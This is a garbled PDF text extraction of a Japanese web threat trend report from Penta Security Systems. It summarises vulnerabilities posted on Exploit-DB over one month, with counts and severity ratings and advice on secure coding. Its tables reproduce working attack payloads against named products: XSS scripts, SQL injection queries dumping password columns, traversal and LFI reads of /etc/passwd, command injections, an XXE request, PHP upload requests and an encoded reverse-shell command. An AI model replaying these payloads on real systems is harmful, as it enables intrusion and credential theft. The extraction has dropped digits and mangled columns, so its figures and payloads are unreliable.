- PDF Free Download

Size: px

Start display at page:

Download ""

てるえまつかた
4 years ago
Views:

1 06.0

2 サマリーペンタセキュリティシステムズ株式会社 R&D センターデータセキュリティチーム 06 年月に公開された Exploit-DB の分析結果クロスサイトスクリプティング (Cross Site Scripting) の攻撃に対する脆弱性報告数が最も多かったですクロスサイトスクリプティング (Cross Site Scripting) 攻撃は一般的にパラメーター値を利用して攻撃する方法ですしかし月発見された攻撃はキーの値もしくは特定 HTTP Header の Value を狙う攻撃が主に発見されましたこのような攻撃は特定のプログラムの上でのみ発生される脆弱性です当該プログラムを使用する管理者は脆弱性にさらされたページを確認してソースコード上のセキュアコーディングが至急ですまた月はコマンドインジェクション (Command Injection) と関連した多彩な攻撃パターンも発見されましたコマンドインジェクション (Command Injection) 攻撃は脆弱な命令語または関数をパラメーターとしても利用し該当動作をすぐ実行させることができますしたがって特別な場合を除いては関連命令語や関数を使用しないことをお勧めしますもし該当命令語と関数を必ず使用しなければならない場合なら入力値を検証するフィルターにパイプ ( ) セミコロン (;) などのマルチラインを支援する特殊文字に対する検証を行い該当関数に有害な値が渡されないようにしなければなりません関連の脆弱性が発見されたソフトウェアを使用する管理者は脆弱性が発見されたページやパラメーターを確認して多様なコマンドインジェクション (Command Injection) 攻撃に対して備える必要があります. 脆弱性別件数脆弱性カテゴリインフォメーションディスクロージャー (Information Disclosure) ローカルファイル挿入 (Local File Inclusion:LFI) ディレクトリトラバーサル (Directory Traversal) ファイルアップロード (File Upload) コマンドインジェクション (Command Injection) SQL インジェクション (SQL Injection) 件数クロスサイトスクリプティング (Cross Site Scripting : XSS) 9 合計脆弱性別件数危険度別件数危険度件数割合早急対応要 7% 高 76% 中 7% 合計 9 00% 危険度別分類早急対応要高中 3. 攻撃実行の難易度別件数難易度件数割合難 3% 中 6 % 易 76% 合計 9 00% 攻撃実行の難易度別件数 6 難中易 4. 主なソフトウェア別脆弱性発生件数ソフトウェア名 Webpy AfterLogic WebMail Acunetix WP Security EduSec - Multiple Vulnerabilities Open Source Real Estate Script ManageEngine Password Manager PHP Realestate Script Script PHP Imagick Magento extplorer FlatPress CakePHP SAP xmii 合計件数 4 9 主なソフトウェア別脆弱性発生件数 4 Webpy AfterLogic WebMail Acunetix WP Security EduSec - Multiple Vulnerabilities Open Source Real Estate Script Copyright 06 Penta Security Systems Inc. All rights reserved

3 危険度分類基準早急対応要 : 攻撃が成功した場合システムへ侵入可高 : システム情報を取得するかあるいはクライアントに次被害を及ぼす中 : 情報漏洩攻撃実行難易度分類基準難 : 複数の脆弱性を突いた攻撃パターン対象のシステムの重要な情報を取得するため高度な攻撃コードを採用したパターン知らされていない攻撃コードを採用したパターンのいずれかに該当する中 : 攻撃手法自体は難しくないが迂回コードを採用したパターン易 : 回のリクエストで攻撃が成立するパターン複数回トライするも既知の攻撃コードを採用したパターンのいずれかに該当する ** 件以上発生した主なソフトウェア別脆弱性の詳細情報 EDB 番号脆弱性カテゴリ攻撃難易度危険度脆弱性名ソフトウェア名 Copyright 06 Penta Security Systems Inc. All rights reserved

4 Command Injection 易高 PHP Imagick / command injection 脆弱性 /image.jpg" cat /etc/passwd>a.txt" PHP Imagick PHP Imagick XSS 易中 <.9 Core Update 0 - ipinfo.cgi XSS 脆弱性 /cgi-bin/ipinfo.cgi?<script>alert(/rxss-yann_cam_- _Security_Consultant_@ASafety_-_SYNETIS/)</script> <.9 Core Update XSS 易高 Acunetix WP Security Plugin /wordpress/?s="><script>alert("johto.robbie"</script> - XSS 脆弱性 Acunetix WP Security Acunetix WP Security Plugin XSS 中高 Command Injection 中高 /cgibin/ipinfo.cgi?<script>eval(unescape("%76%6%7%0%68 %6%6%64%3D%64%6F%63%7%6D%6%6E%74%E%6 7%6%74%4%6C%6%6D%6%6E%74%73%4%79%4% <.9 Core Update 0-6%67%4E%6%6D%6%8%7%68%6%6%64%7%9 ipinfo.cgi XSS 脆弱性 () %B%30%D%3B%76%6%7%0%73%63%7%69%70%7 4%3D%0%64%6F%63%7%6D%6%6E%74%E%63%7% 6%6%74%6%4%6C%6%6D%6%6E%74%8%7%73 %63%7%69%70%74%7%9%3B%73%63%7%69%70%7 POST / HTTP/. User-Agent: Mozilla/.0 Windows NT 6.; WOW64 <.9 Core Update 0 - AppleWebKit/3.7 KHTML, like Gecko Chrome/ ipinfo.cgi Command Injection 脆 Safari/3.7 弱性 (3) <.9 Core Update 0 <.9 Core Update Command Injection 易中 POST / HTTP/. User-Agent: Mozilla/.0 Windows NT 6.; WOW64 AppleWebKit/3.7 KHTML, like Gecko Chrome/ Safari/3.7 <.9 Core Update 0 - ipinfo.cgi Command Injection 脆弱性 (4) <.9 Core Update 0 NCSA_PASS= eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaWldC90Y3AvMC8xOTIuMTY4 LjAuMi8xMzM3Ijsg\\\\\\\\ndhpbGUoNDIpIHsgZG97 IHByaW0ZiAichlbGw+IiB8JiBzOyBzIHwmIGdldGxp\\\\ SQL Injection 中早急対応要 ManageEngine Applications Manager Build downtimescheduler.do SQL Injection 脆弱性 /downtimescheduler.do?method=viewmaintenancetask&t askid=- %0UNION%0ALL%0SELECT%0,,database(),4,,6,7,8, 9,0,,,3,4,%0-- ManageEngine Applications Manager ManageEngine Applications Manager Build Directory Traversal 中高 - createpdf.php Directory Traversal 脆弱性 /createpdf.php?targeturl=ly4uly4uly4uly4uly4uly4uly4u Ly4uLV0Yy9wYXNzdQ=&&pay_id=4&&type=actual - Multiple Vulnerabilities Copyright 06 Penta Security Systems Inc. All rights reserved

5 XSS 易高 - createpdf.php XSS 脆弱性 () POST / HTTP/. User-Agent: Mozilla/.0 Windows NT 6.; WOW64 AppleWebKit/3.7 KHTML, like Gecko Chrome/ Safari/ LFI 易高 Webpy.4. - pack_custom LFI 脆弱性 () screen_name="><script><<imgimg SRC=oi onerror=javascript:alert()> POST /admin/default/pack_custom/test HTTP/. User-Agent: Mozilla/.0 Windows NT 6.; WOW64 AppleWebKit/3.7 KHTML, like Gecko Chrome/ Safari/3.7 Webpy Webpy.4. file=/etc/passwd SQL Injection 中早急対応要 /dns_dhcp/dns/dns.php?net=%0and%0(select%0%0 Web interface for / from(select%0count(*),concat((select%0(select%0concat( Mikrotik - dns.php SQL Injection 0xb,host,0xb,user,0xb,password,0xb))%0from%0mys 脆弱性 ql.user%0limit%0),floor(rand(0)*))x%0from%0mysql.u ser%0group%0by%0x)a) Web interface for File Upload 易高 XSS 易高 extplorer..9 - Archive Path Traversal CakePHP Framework /cake/cake3/ XSS 脆弱性 POST / HTTP/. Connection: CloseAccept: text/html, application/xhtml+xml, */* Accept-Language: ko-kr User-Agent: Mozilla/.0 (compatible; MSIE 0.0; Windows NT 6.; WOW64; Trident/6.0) GET /cake/cake3/ HTTP/. CLIENT-IP: <script>alert('poc');</script> extplorer extplorer.. CakePHP CakePHP Framework XSS 易高 Webpy.4. - /admin/default/install_plugin/ XSS 脆弱性 /admin/default/install_plugin/test?plugin=mathpy&source =javascript:alert() Webpy Webpy Directory Traversal 易中 SAP xmii.0 - /XMII/ Directory /XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../ Traversal 脆弱性../../../../../../etc/passwd SAP xmii SAP xmii Command Injection 難高 POST /rest/v/guest-carts/test/set-payment-information HTTP/. Magento < Unauthenticated Arbitrary User-Agent: Mozilla/.0 Windows NT 6.; WOW64 Unserialize -> Arbitrary Write File AppleWebKit/3.7 KHTML, like Gecko Chrome/ Safari/3.7 Magento Magento < SQL Injection 易高.4. for XenForo - Multiple SQL Injections () /api.php?action=getgroup&value=' UNION ALL SELECT NULL%CNULL%CNULL%CNULL%CNULL%CCONCAT(I FNULL(CAST(%40%40HOSTNAME AS CHAR)%C0x0))%CNULL%3.4. for XenForo Copyright 06 Penta Security Systems Inc. All rights reserved

6 SQL Injection 易高.4. for XenForo - Multiple SQL Injections /api.php?action=getusers&value=' UNION ALL SELECT CONCAT(IFNULL(CAST(%40%40HOSTNAME AS CHAR)%C0x0))%CNULL%3.4. for XenForo Information Disclosure 易高 AfterLogic WebMail Pro ASP.NET /spellcheck.aspx?xml=<?xml version=".0" encoding="utf Administrator Account 8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM Disclosure via XXE Injection " %remote; %int; %trick;]> AfterLogic WebMail AfterLogic WebMail Pro ASP.NET 6..6 POST /upload.php HTTP/. Connection: CloseAccept: text/html, application/xhtml+xml, */* Accept-Language: ko-kr File Upload 易中 4. - File Upload () User-Agent: Mozilla/.0 (compatible; MSIE 0.0; Windows NT 6.; WOW64; Trident/6.0) Content-Type: multipart/form-data; boundary= dd009908f dd009908f Content-Disposition: form-data; name="file"; filename="test.php" SQL Injection 易高 EduSec SQL Injection /student/stumaster/view?id=%0union%0select%0,load_file(%7/ etc/passwd%7),3,4,,6,7,8,9,0,,,3,4,,6,7,8-- EduSec EduSec XSS 易中 4. - XSS () /index.php?title=onmousemove=alert() 4. /single.php?view_id= SQL Injection 易高 PHP Realestate Script Script /*!0000union*/+select+,,user_name,4,,6,7,8,passwo - SQL Injection rd,0,,,3,4,,6,7,8,9,0,,,3,4,,6+from +admin_login PHP Realestate Script Script PHP Realestate Script Script SQL Injection 易高 Open Source Real Estate Script SQL Injection /contact_view.php?contact=- 7%7+/*!0000union*/+select+,,3,4,,6,7,8,9,0,, Open Source Real Open Source Real 0,3,4,,6,7,8,9,0,username,,password,4,,6, 7,8,9,30,3,3,33,34,3,36,37+/*!0000from*/+/*!0000a Estate Script Estate Script POST / HTTP/. User-Agent: Mozilla/.0 Windows NT 6.; WOW64 AppleWebKit/3.7 KHTML, like Gecko Chrome/ XSS 易高 Safari/ /sysworkflow/en/neoclassic/proce ssproxy/saveprocess XSS 脆弱性 PRO_TITLE=AA<img src=x onerror=alert()>a&pro_description=bbb&pro_categ ORY= Copyright 06 Penta Security Systems Inc. All rights reserved

7 LFI 易高 File Upload 易高 NanoStation M.6-beta - /scr.cgi?fname=../../../../../etc/passwd%00&status= scr.cgi LFI 脆弱性 FlatPress admin.php File Upload 脆弱性 POST /flatpress/admin.php?p=uploader&action=default HTTP/. Connection: CloseAccept: text/html, application/xhtml+xml, */* Accept-Language: ko-kr User-Agent: Mozilla/.0 (compatible; MSIE 0.0; Windows NT 6.; WOW64; Trident/6.0) Content-Type: multipart/form-data; boundary= dd009908f NanoStation M.6-bet FlatPress FlatPress dd009908f Content-Disposition: form-data; name="upload[]"; filename="test.php" Content-Type: application/octet-stream XSS 易高 <? phpinfo();?> dd009908f-- POST /sysworkflow/en/neoclassic/processes/processeslist HTTP/. User-Agent: Mozilla/.0 Windows NT 6.; WOW64 AppleWebKit/3.7 KHTML, like Gecko Chrome/ Safari/3.7 /sysworkflow/en/neoclassic/proce sses/processeslist XSS 脆弱性 # processname=<img src=x onerror=alert();>&start=0&limit=&category=%3creset %3E= Command Injection 中高 NanoStation M.6-beta - /scr.cgi?fname=rc.poststart.sh;cat%0/etc/hosts%00&status scr.cgi Command Injection 脆弱 = 性 NanoStation M.6-bet Copyright 06 Penta Security Systems Inc. All rights reserved

最新 Web トレンドレポート (06.04) ~ Exploit-DB(http://exploit-db.com) より公開されている内容に基づいたトレンド情報ですサマリーペンタセキュリティシステムズ株式会社 R&D センターデータセキュリティチーム 06 年 4

最新 Web トレンドレポート (06.04) ~ Exploit-DB(http://exploit-db.com) より公開されている内容に基づいたトレンド情報ですサマリーペンタセキュリティシステムズ株式会社 R&D センターデータセキュリティチーム 06 年 4 06.04 最新 Web トレンドレポート (06.04) 06.04.0~06.04.0 Exploit-DB(http://exploit-db.com) より公開されている内容に基づいたトレンド情報ですサマリーペンタセキュリティシステムズ株式会社 R&D センターデータセキュリティチーム 06 年 4 月公開された Exploit-DB の分析結果クロスサイトスクリプティング (Cross